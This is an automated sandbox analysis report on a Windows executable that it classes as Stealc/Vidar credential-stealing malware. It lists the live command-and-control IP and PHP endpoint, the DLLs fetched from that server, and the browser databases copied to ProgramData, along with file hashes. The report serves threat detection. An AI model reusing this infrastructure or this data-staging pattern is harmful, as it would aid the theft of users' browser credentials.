Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dll	21%	Virustotal		Browse
http://185.215.113.37/0d	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phption:	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpe	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpa	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpser	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpR	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dllO	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dlle	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dllk	17%	Virustotal		Browse
http://185.215.113.37/1	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	21%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpT=V	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpfr	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpnt	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1753117743.000000001D2CC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php;Cl	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll3	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll7	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpCoinomi	file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllAE	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll-	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37nAEJ3o	file.exe, 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	KJKFBAFIDAEBFHJKJEBF.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpicO	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpa	file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllC	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpe	file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1888258629.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllO	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1888622144.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpR	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpFBAFIDAEBFHJKJEBF	file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1753117743.000000001D2CC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpWiy	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllo	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecopnacl	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllk	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1885130640.0000000029353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, KJKFBAFIDAEBFHJKJEBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlle	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpes	file.exe, 00000000.00000002.1861403334.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/1	file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	false	URL Reputation: safe	unknown
https://ac.ecop	file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523120
Start date and time:	2024-10-01 06:02:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/21@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 75 Number of non-executed functions: 46
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KKv1n1E6k9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KKv1n1E6k9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\EHJKFCGHIDHCBGDHJKEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIECBFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHJDGIDBAAFIDGCGCAKKKFBFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIECFHDBAAECAAKFHDHIIJKFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDHDGCAKJEBAKJJKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJDAFHJDHIEBGCFIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEBFHJKJEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
